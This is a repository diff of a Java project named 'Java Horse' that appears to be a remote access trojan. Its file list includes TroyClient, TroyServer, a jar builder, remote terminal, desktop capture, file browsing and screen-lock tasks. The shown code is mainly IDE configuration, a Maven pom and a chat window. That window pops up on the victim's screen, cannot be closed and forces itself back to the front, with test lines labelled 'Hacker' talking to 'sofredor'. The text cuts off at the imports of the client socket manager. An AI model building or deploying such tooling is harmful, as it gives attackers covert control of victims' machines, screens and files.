-
8.idea/.gitignore
-
13.idea/compiler.xml
-
7.idea/encodings.xml
-
20.idea/jarRepositories.xml
-
14.idea/misc.xml
-
127.idea/uiDesigner.xml
-
6.idea/vcs.xml
-
2Java Horse.iml
-
BINdemo/buildDone.png
-
BINdemo/buildError.png
-
BINdemo/buildWait.png
-
BINdemo/clientChat.png
-
BINdemo/data.png
-
BINdemo/desktop.png
-
BINdemo/files.png
-
BINdemo/lock.png
-
BINdemo/main.png
-
BINdemo/plataformDependency.png
-
BINdemo/serverChat.png
-
BINdemo/terminal.png
-
160pom.xml
-
BINshade/Server.jar
-
225src/main/java/greek/horse/client/ChatUI.java
-
466src/main/java/greek/horse/client/ClientSocketManager.java
-
78src/main/java/greek/horse/client/ClientTerminalTask.java
-
120src/main/java/greek/horse/client/LockTask.java
-
109src/main/java/greek/horse/client/TroyClient.java
-
33src/main/java/greek/horse/client/tasks/ChatForm.java
-
83src/main/java/greek/horse/client/tasks/ClientChatTask.java
-
137src/main/java/greek/horse/client/tasks/DesktopTask.java
-
7src/main/java/greek/horse/models/BrowserTicketType.java
-
57src/main/java/greek/horse/models/FileBrowserResponseWrapper.java
-
72src/main/java/greek/horse/models/FileBrowserTicket.java
-
28src/main/java/greek/horse/models/FileData.java
-
276src/main/java/greek/horse/models/FileStruct.java
-
5src/main/java/greek/horse/models/FileType.java
-
50src/main/java/greek/horse/models/FunctionTicket.java
-
160src/main/java/greek/horse/models/ImageUtil.java
-
19src/main/java/greek/horse/models/Message.java
-
8src/main/java/greek/horse/models/MessageType.java
-
5src/main/java/greek/horse/models/Mode.java
-
44src/main/java/greek/horse/models/MonitorDesktopWrapper.java
-
153src/main/java/greek/horse/models/NetInfo.java
-
5src/main/java/greek/horse/models/OS.java
-
21src/main/java/greek/horse/models/RequestFunction.java
-
60src/main/java/greek/horse/models/TableFile.java
-
86src/main/java/greek/horse/models/UserInput.java
-
132src/main/java/greek/horse/server/troyStructure/NetInfoTable.java
-
139src/main/java/greek/horse/server/troyStructure/ServerSocketManager.java
-
230src/main/java/greek/horse/server/troyStructure/TroyPlebe.java
-
113src/main/java/greek/horse/server/troyStructure/TroyServer.java
-
57src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java
-
18src/main/java/greek/horse/server/troyStructure/request/TroyRequest.java
-
69src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java
-
229src/main/java/greek/horse/server/ui/ChatApp.java
-
13src/main/java/greek/horse/server/ui/Launcher.java
-
76src/main/java/greek/horse/server/ui/controllers/ChatController.java
-
376src/main/java/greek/horse/server/ui/controllers/FileBrowserController.java
-
405src/main/java/greek/horse/server/ui/controllers/HorseController.java
-
160src/main/java/greek/horse/server/ui/controllers/MonitorDesktopController.java
-
64src/main/java/greek/horse/server/ui/controllers/TerminalController.java
-
99src/main/java/greek/horse/server/ui/controllers/tasks/BuildJarTask.java
-
102src/main/java/greek/horse/server/ui/controllers/tasks/ChatTask.java
-
77src/main/java/greek/horse/server/ui/controllers/tasks/FileBrowserTask.java
-
183src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java
-
129src/main/java/greek/horse/server/ui/controllers/tasks/TerminalTask.java
-
81src/main/java/greek/horse/server/ui/formmaters/FileRowsFactory.java
-
52src/main/java/greek/horse/server/ui/formmaters/FormattedTableCellFactory.java
-
88src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java
-
31src/main/java/greek/horse/test/Test.java
-
2src/main/resources/connection.data
-
BINsrc/main/resources/images/diverse/Drives/1030.png
-
BINsrc/main/resources/images/diverse/Drives/1032.png
-
BINsrc/main/resources/images/diverse/Drives/1033.png
-
BINsrc/main/resources/images/diverse/Drives/1034.png
-
BINsrc/main/resources/images/diverse/Drives/1035.png
-
BINsrc/main/resources/images/diverse/Drives/1036.png
-
BINsrc/main/resources/images/diverse/Drives/1041.png
-
BINsrc/main/resources/images/diverse/Drives/135.png
-
BINsrc/main/resources/images/diverse/Drives/136.png
-
BINsrc/main/resources/images/diverse/Drives/139.png
-
BINsrc/main/resources/images/diverse/Drives/140.png
-
BINsrc/main/resources/images/diverse/Drives/141.png
-
BINsrc/main/resources/images/diverse/Drives/142.png
-
BINsrc/main/resources/images/diverse/Drives/172.png
-
BINsrc/main/resources/images/diverse/Drives/173.png
-
BINsrc/main/resources/images/diverse/Drives/180.png
-
BINsrc/main/resources/images/diverse/Drives/28.png
-
BINsrc/main/resources/images/diverse/Drives/29.png
-
BINsrc/main/resources/images/diverse/Drives/30.png
-
BINsrc/main/resources/images/diverse/Drives/31.png
-
BINsrc/main/resources/images/diverse/Drives/33.png
-
BINsrc/main/resources/images/diverse/Drives/34.png
-
BINsrc/main/resources/images/diverse/Drives/37.png
-
BINsrc/main/resources/images/diverse/Drives/38.png
-
BINsrc/main/resources/images/diverse/Drives/39.png
-
BINsrc/main/resources/images/diverse/Drives/40.png
-
BINsrc/main/resources/images/diverse/Drives/41.png
-
BINsrc/main/resources/images/diverse/Drives/42.png
-
BINsrc/main/resources/images/diverse/Drives/43.png
@ -0,0 +1,8 @@ |
|||
# Default ignored files |
|||
/shelf/ |
|||
/workspace.xml |
|||
# Datasource local storage ignored files |
|||
/../../../../../../../../../../:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\.idea/dataSources/ |
|||
/dataSources.local.xml |
|||
# Editor-based HTTP Client requests |
|||
/httpRequests/ |
@ -0,0 +1,13 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project version="4"> |
|||
<component name="CompilerConfiguration"> |
|||
<annotationProcessing> |
|||
<profile name="Maven default annotation processors profile" enabled="true"> |
|||
<sourceOutputDir name="target/generated-sources/annotations" /> |
|||
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" /> |
|||
<outputRelativeToContentRoot value="true" /> |
|||
<module name="Java Horse" /> |
|||
</profile> |
|||
</annotationProcessing> |
|||
</component> |
|||
</project> |
@ -0,0 +1,7 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project version="4"> |
|||
<component name="Encoding"> |
|||
<file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" /> |
|||
<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" /> |
|||
</component> |
|||
</project> |
@ -0,0 +1,20 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project version="4"> |
|||
<component name="RemoteRepositoriesConfiguration"> |
|||
<remote-repository> |
|||
<option name="id" value="central" /> |
|||
<option name="name" value="Central Repository" /> |
|||
<option name="url" value="https://repo.maven.apache.org/maven2" /> |
|||
</remote-repository> |
|||
<remote-repository> |
|||
<option name="id" value="central" /> |
|||
<option name="name" value="Maven Central repository" /> |
|||
<option name="url" value="https://repo1.maven.org/maven2" /> |
|||
</remote-repository> |
|||
<remote-repository> |
|||
<option name="id" value="jboss.community" /> |
|||
<option name="name" value="JBoss Community repository" /> |
|||
<option name="url" value="https://repository.jboss.org/nexus/content/repositories/public/" /> |
|||
</remote-repository> |
|||
</component> |
|||
</project> |
@ -0,0 +1,14 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project version="4"> |
|||
<component name="ExternalStorageConfigurationManager" enabled="true" /> |
|||
<component name="MavenProjectsManager"> |
|||
<option name="originalFiles"> |
|||
<list> |
|||
<option value="$PROJECT_DIR$/pom.xml" /> |
|||
</list> |
|||
</option> |
|||
</component> |
|||
<component name="ProjectRootManager" version="2" languageLevel="JDK_14" project-jdk-name="14" project-jdk-type="JavaSDK"> |
|||
<output url="file://$PROJECT_DIR$/out" /> |
|||
</component> |
|||
</project> |
@ -0,0 +1,127 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project version="4"> |
|||
<component name="Palette2"> |
|||
<group name="Swing"> |
|||
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" /> |
|||
</item> |
|||
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" /> |
|||
</item> |
|||
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" /> |
|||
</item> |
|||
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="false" auto-create-binding="false" can-attach-label="true"> |
|||
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" /> |
|||
</item> |
|||
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" /> |
|||
<initial-values> |
|||
<property name="text" value="Button" /> |
|||
</initial-values> |
|||
</item> |
|||
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" /> |
|||
<initial-values> |
|||
<property name="text" value="RadioButton" /> |
|||
</initial-values> |
|||
</item> |
|||
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" /> |
|||
<initial-values> |
|||
<property name="text" value="CheckBox" /> |
|||
</initial-values> |
|||
</item> |
|||
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" /> |
|||
<initial-values> |
|||
<property name="text" value="Label" /> |
|||
</initial-values> |
|||
</item> |
|||
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1"> |
|||
<preferred-size width="150" height="-1" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1"> |
|||
<preferred-size width="150" height="-1" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1"> |
|||
<preferred-size width="150" height="-1" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3"> |
|||
<preferred-size width="150" height="50" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3"> |
|||
<preferred-size width="150" height="50" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3"> |
|||
<preferred-size width="150" height="50" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" /> |
|||
</item> |
|||
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3"> |
|||
<preferred-size width="150" height="50" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3"> |
|||
<preferred-size width="150" height="50" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3"> |
|||
<preferred-size width="150" height="50" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3"> |
|||
<preferred-size width="200" height="200" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3"> |
|||
<preferred-size width="200" height="200" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.png" removable="false" auto-create-binding="true" can-attach-label="true"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" /> |
|||
</item> |
|||
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" /> |
|||
</item> |
|||
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" /> |
|||
</item> |
|||
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" /> |
|||
</item> |
|||
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1"> |
|||
<preferred-size width="-1" height="20" /> |
|||
</default-constraints> |
|||
</item> |
|||
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.png" removable="false" auto-create-binding="false" can-attach-label="false"> |
|||
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" /> |
|||
</item> |
|||
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.png" removable="false" auto-create-binding="true" can-attach-label="false"> |
|||
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" /> |
|||
</item> |
|||
</group> |
|||
</component> |
|||
<component name="uidesigner-configuration"> |
|||
<option name="DEFAULT_LAYOUT_MANAGER" value="BorderLayout" /> |
|||
</component> |
|||
</project> |
@ -0,0 +1,6 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project version="4"> |
|||
<component name="VcsDirectoryMappings"> |
|||
<mapping directory="$PROJECT_DIR$/../../../.." vcs="Git" /> |
|||
</component> |
|||
</project> |
@ -0,0 +1,2 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<module type="JAVA_MODULE" version="4" /> |
After Width: 362 | Height: 178 | Size: 6.7 KiB |
After Width: 362 | Height: 212 | Size: 8.5 KiB |
After Width: 362 | Height: 195 | Size: 6.8 KiB |
After Width: 360 | Height: 410 | Size: 6.8 KiB |
After Width: 291 | Height: 465 | Size: 17 KiB |
After Width: 666 | Height: 492 | Size: 104 KiB |
After Width: 632 | Height: 424 | Size: 33 KiB |
After Width: 771 | Height: 675 | Size: 12 KiB |
After Width: 716 | Height: 432 | Size: 34 KiB |
After Width: 362 | Height: 195 | Size: 8.1 KiB |
After Width: 362 | Height: 442 | Size: 10 KiB |
After Width: 702 | Height: 432 | Size: 20 KiB |
@ -0,0 +1,160 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project xmlns="http://maven.apache.org/POM/4.0.0" |
|||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> |
|||
<modelVersion>4.0.0</modelVersion> |
|||
|
|||
<groupId>org.example</groupId> |
|||
<artifactId>chat</artifactId> |
|||
<version>1.0-SNAPSHOT</version> |
|||
|
|||
<properties> |
|||
<javafx.version>16</javafx.version> |
|||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> |
|||
<maven.compiler.release>14</maven.compiler.release> |
|||
<project.jarName>JavaChat</project.jarName> |
|||
</properties> |
|||
|
|||
<dependencies> |
|||
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> |
|||
<dependency> |
|||
<groupId>log4j</groupId> |
|||
<artifactId>log4j</artifactId> |
|||
<version>1.2.17</version> |
|||
</dependency> |
|||
<!-- Fix stupid StaticLoggerBinder error message--> |
|||
<dependency> |
|||
<groupId>org.slf4j</groupId> |
|||
<artifactId>slf4j-simple</artifactId> |
|||
<version>1.6.1</version> |
|||
</dependency> |
|||
|
|||
|
|||
<!-- https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp --> |
|||
<dependency> |
|||
<groupId>com.squareup.okhttp3</groupId> |
|||
<artifactId>okhttp</artifactId> |
|||
<version>4.9.1</version> |
|||
</dependency> |
|||
|
|||
<dependency> |
|||
<groupId>javax.json</groupId> |
|||
<artifactId>javax.json-api</artifactId> |
|||
<version>1.1.4</version> |
|||
</dependency> |
|||
|
|||
<dependency> |
|||
<groupId>org.glassfish</groupId> |
|||
<artifactId>javax.json</artifactId> |
|||
<version>1.1.4</version> |
|||
</dependency> |
|||
|
|||
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 --> |
|||
<dependency> |
|||
<groupId>org.apache.commons</groupId> |
|||
<artifactId>commons-lang3</artifactId> |
|||
<version>3.12.0</version> |
|||
</dependency> |
|||
|
|||
<dependency> |
|||
<groupId>net.coobird</groupId> |
|||
<artifactId>thumbnailator</artifactId> |
|||
<version>[0.4, 0.5)</version> |
|||
</dependency> |
|||
|
|||
|
|||
<dependency> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-controls</artifactId> |
|||
<version>${javafx.version}</version> |
|||
</dependency> |
|||
<dependency> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-fxml</artifactId> |
|||
<version>${javafx.version}</version> |
|||
</dependency> |
|||
<dependency> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-swing</artifactId> |
|||
<version>15.0.1</version> |
|||
</dependency> |
|||
|
|||
|
|||
<dependency> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-graphics</artifactId> |
|||
<version>${javafx.version}</version> |
|||
<classifier>win</classifier> |
|||
</dependency> |
|||
<dependency> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-graphics</artifactId> |
|||
<version>${javafx.version}</version> |
|||
<classifier>linux</classifier> |
|||
</dependency> |
|||
<dependency> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-graphics</artifactId> |
|||
<version>${javafx.version}</version> |
|||
<classifier>mac</classifier> |
|||
</dependency> |
|||
|
|||
<dependency> |
|||
<groupId>org.zeroturnaround</groupId> |
|||
<artifactId>zt-zip</artifactId> |
|||
<version>1.14</version> |
|||
<type>jar</type> |
|||
</dependency> |
|||
|
|||
<dependency> |
|||
<groupId>com.formdev</groupId> |
|||
<artifactId>flatlaf</artifactId> |
|||
<version>2.0-rc1</version> |
|||
</dependency> |
|||
|
|||
</dependencies> |
|||
|
|||
<build> |
|||
<plugins> |
|||
<plugin> |
|||
<groupId>org.apache.maven.plugins</groupId> |
|||
<artifactId>maven-compiler-plugin</artifactId> |
|||
<version>3.8.1</version> |
|||
<configuration> |
|||
<release>${maven.compiler.release}</release> |
|||
</configuration> |
|||
</plugin> |
|||
<plugin> |
|||
<groupId>org.openjfx</groupId> |
|||
<artifactId>javafx-maven-plugin</artifactId> |
|||
<version>0.0.5</version> |
|||
</plugin> |
|||
<plugin> |
|||
<groupId>org.apache.maven.plugins</groupId> |
|||
<artifactId>maven-shade-plugin</artifactId> |
|||
<version>2.4.3</version> |
|||
<executions> |
|||
<execution> |
|||
<phase>package</phase> |
|||
<goals> |
|||
<goal>shade</goal> |
|||
</goals> |
|||
<configuration> |
|||
<shadedArtifactAttached>true</shadedArtifactAttached> |
|||
<shadedClassifierName>project-classifier</shadedClassifierName> |
|||
<outputFile>shade\${file.name}.jar</outputFile> |
|||
<transformers> |
|||
<transformer implementation= |
|||
"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"> |
|||
<!-- <mainClass>Launcher</mainClass>--> |
|||
<mainClass>${my.mainClass}</mainClass> |
|||
</transformer> |
|||
</transformers> |
|||
</configuration> |
|||
</execution> |
|||
</executions> |
|||
</plugin> |
|||
</plugins> |
|||
</build> |
|||
|
|||
</project> |
@ -0,0 +1,225 @@ |
|||
package greek.horse.client; |
|||
|
|||
import com.formdev.flatlaf.FlatIntelliJLaf; |
|||
import com.formdev.flatlaf.FlatLightLaf; |
|||
import greek.horse.models.MessageType; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import javax.swing.*; |
|||
import javax.swing.border.EmptyBorder; |
|||
import javax.swing.event.CaretEvent; |
|||
import javax.swing.event.CaretListener; |
|||
import javax.swing.event.DocumentEvent; |
|||
import javax.swing.event.DocumentListener; |
|||
import javax.swing.text.*; |
|||
import java.awt.*; |
|||
import java.awt.event.*; |
|||
import java.util.Arrays; |
|||
|
|||
public class ChatUI extends JFrame { |
|||
private final JTextField messageTextField; |
|||
private final JButton sendBtn; |
|||
private final AbstractDocument doc; |
|||
private static final SimpleAttributeSet serverAttr = new SimpleAttributeSet(); |
|||
private static final SimpleAttributeSet clientAttr = new SimpleAttributeSet(); |
|||
private static final SimpleAttributeSet defaultAttr = new SimpleAttributeSet(); |
|||
|
|||
private static final Logger log = Logger.getLogger(ChatUI.class); |
|||
|
|||
static { |
|||
StyleConstants.setFontSize(serverAttr, 16); |
|||
StyleConstants.setForeground(serverAttr, new Color(200, 0, 0)); |
|||
|
|||
StyleConstants.setFontSize(clientAttr, 16); |
|||
StyleConstants.setForeground(clientAttr, Color.BLUE); |
|||
|
|||
StyleConstants.setFontSize(defaultAttr, 16); |
|||
StyleConstants.setForeground(defaultAttr, Color.BLACK); |
|||
} |
|||
|
|||
public ChatUI() { |
|||
super("Chat"); |
|||
|
|||
try { |
|||
UIManager.setLookAndFeel(new FlatIntelliJLaf()); |
|||
} catch (Exception e) { |
|||
log.error("Could not set system look and feel", e); |
|||
} |
|||
this.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); |
|||
this.setUndecorated(true); |
|||
this.setAlwaysOnTop(true); |
|||
|
|||
setBounds(100, 100, 360, 410); |
|||
JPanel mainPanel = new JPanel(); |
|||
mainPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); |
|||
setContentPane(mainPanel); |
|||
mainPanel.setLayout(new BorderLayout(0, 5)); |
|||
|
|||
JScrollPane scrollPane = new JScrollPane(); |
|||
mainPanel.add(scrollPane, BorderLayout.CENTER); |
|||
|
|||
JTextPane textPane = new JTextPane(); |
|||
textPane.setBackground(Color.WHITE); |
|||
textPane.setEditable(false); |
|||
scrollPane.setViewportView(textPane); |
|||
|
|||
JPanel panel = new JPanel(); |
|||
mainPanel.add(panel, BorderLayout.SOUTH); |
|||
panel.setLayout(new BorderLayout(5, 0)); |
|||
|
|||
messageTextField = new JTextField(); |
|||
messageTextField.setFont(new Font("System", Font.PLAIN, 15)); |
|||
panel.add(messageTextField, BorderLayout.CENTER); |
|||
messageTextField.setColumns(10); |
|||
|
|||
sendBtn = new JButton("Send"); |
|||
sendBtn.setFont(new Font("System", Font.PLAIN, 15)); |
|||
panel.add(sendBtn, BorderLayout.EAST); |
|||
|
|||
this.setContentPane(mainPanel); |
|||
// this.setSize(new Dimension(360, 410)); |
|||
// this.setMaximumSize(this.getSize()); |
|||
this.setResizable(false); |
|||
this.doc = (AbstractDocument) textPane.getStyledDocument(); |
|||
this.messageTextField.setFocusable(true); |
|||
this.messageTextField.grabFocus(); |
|||
|
|||
textPane.setFocusable(false); |
|||
DefaultCaret caret = (DefaultCaret) textPane.getCaret(); |
|||
caret.setUpdatePolicy(DefaultCaret.OUT_BOTTOM); |
|||
|
|||
this.setLocationByPlatform(false); |
|||
Rectangle bounds = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice().getDefaultConfiguration().getBounds(); |
|||
int x = ((int) bounds.getWidth() / 2) - (this.getWidth() / 2); |
|||
int y = ((int) bounds.getHeight() / 3) - (this.getHeight() / 3); |
|||
if (x > 0 && y > 0) { |
|||
this.setLocation(x, y); |
|||
} else { |
|||
this.setLocation(0, 0); |
|||
} |
|||
|
|||
this.addFocusListener(new FocusListener() { |
|||
@Override |
|||
public void focusGained(FocusEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void focusLost(FocusEvent e) { |
|||
setState(JFrame.MAXIMIZED_BOTH); |
|||
toFront(); |
|||
} |
|||
}); |
|||
this.addWindowListener(new WindowListener() { |
|||
@Override |
|||
public void windowOpened(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowClosing(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowClosed(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowIconified(WindowEvent e) { |
|||
setState(JFrame.MAXIMIZED_BOTH); |
|||
toFront(); |
|||
} |
|||
|
|||
@Override |
|||
public void windowDeiconified(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowActivated(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowDeactivated(WindowEvent e) { |
|||
setState(JFrame.MAXIMIZED_BOTH); |
|||
toFront(); |
|||
} |
|||
}); |
|||
|
|||
|
|||
} |
|||
|
|||
public static void main(String[] args) throws BadLocationException, InterruptedException { |
|||
FlatLightLaf.setup(); |
|||
ChatUI frame = new ChatUI(); |
|||
|
|||
for (int i = 0; i < 15; i++) { |
|||
frame.addLine("Hacker", "se fudeo", MessageType.SERVER); |
|||
frame.addLine("sofredor", "oh nao daddy", MessageType.CLIENT); |
|||
} |
|||
|
|||
frame.setSendListener(new ActionListener() { |
|||
@Override |
|||
public void actionPerformed(ActionEvent e) { |
|||
System.out.println(e.getActionCommand()); |
|||
} |
|||
}); |
|||
|
|||
frame.setVisible(true); |
|||
|
|||
} |
|||
|
|||
public void addLine(String name, String message, MessageType type) { |
|||
try { |
|||
this.doc.insertString(doc.getLength(), name, type.equals(MessageType.SERVER) ? serverAttr : clientAttr); |
|||
this.doc.insertString(doc.getLength(), " > " + message + "\n", defaultAttr); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error writing to TextPane", e); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void setSendListener(ActionListener listener) { |
|||
this.sendBtn.addActionListener(e -> actionMessage(listener, e.getSource(), e.getID())); |
|||
this.messageTextField.addKeyListener(new KeyListener() { |
|||
@Override |
|||
public void keyTyped(KeyEvent e) { |
|||
} |
|||
|
|||
@Override |
|||
public void keyPressed(KeyEvent e) { |
|||
if (e.getKeyCode() == KeyEvent.VK_ENTER) { |
|||
actionMessage(listener, e.getSource(), e.getID()); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void keyReleased(KeyEvent e) { |
|||
|
|||
} |
|||
}); |
|||
} |
|||
|
|||
public void removeSendListener() { |
|||
Arrays.asList(this.sendBtn.getActionListeners()).forEach(sendBtn::removeActionListener); |
|||
Arrays.asList(this.messageTextField.getKeyListeners()).forEach(messageTextField::removeKeyListener); |
|||
} |
|||
|
|||
public void cleanMessages() { |
|||
try { |
|||
this.doc.remove(0, doc.getLength()); |
|||
} catch (Exception e) { |
|||
log.error("Error cleaning doc", e); |
|||
} |
|||
} |
|||
|
|||
private void actionMessage(ActionListener listener, Object source, int id) { |
|||
listener.actionPerformed(new ActionEvent(source, id, messageTextField.getText())); |
|||
messageTextField.setText(""); |
|||
} |
|||
|
|||
} |
@ -0,0 +1,466 @@ |
|||
package greek.horse.client; |
|||
|
|||
import greek.horse.client.tasks.ClientChatTask; |
|||
import greek.horse.client.tasks.DesktopTask; |
|||
import greek.horse.models.*; |
|||
import okhttp3.Request; |
|||
import okhttp3.Response; |
|||
import org.apache.commons.lang3.SystemUtils; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import javax.json.Json; |
|||
import javax.json.JsonObject; |
|||
import javax.json.JsonReader; |
|||
import javax.swing.filechooser.FileSystemView; |
|||
import java.awt.*; |
|||
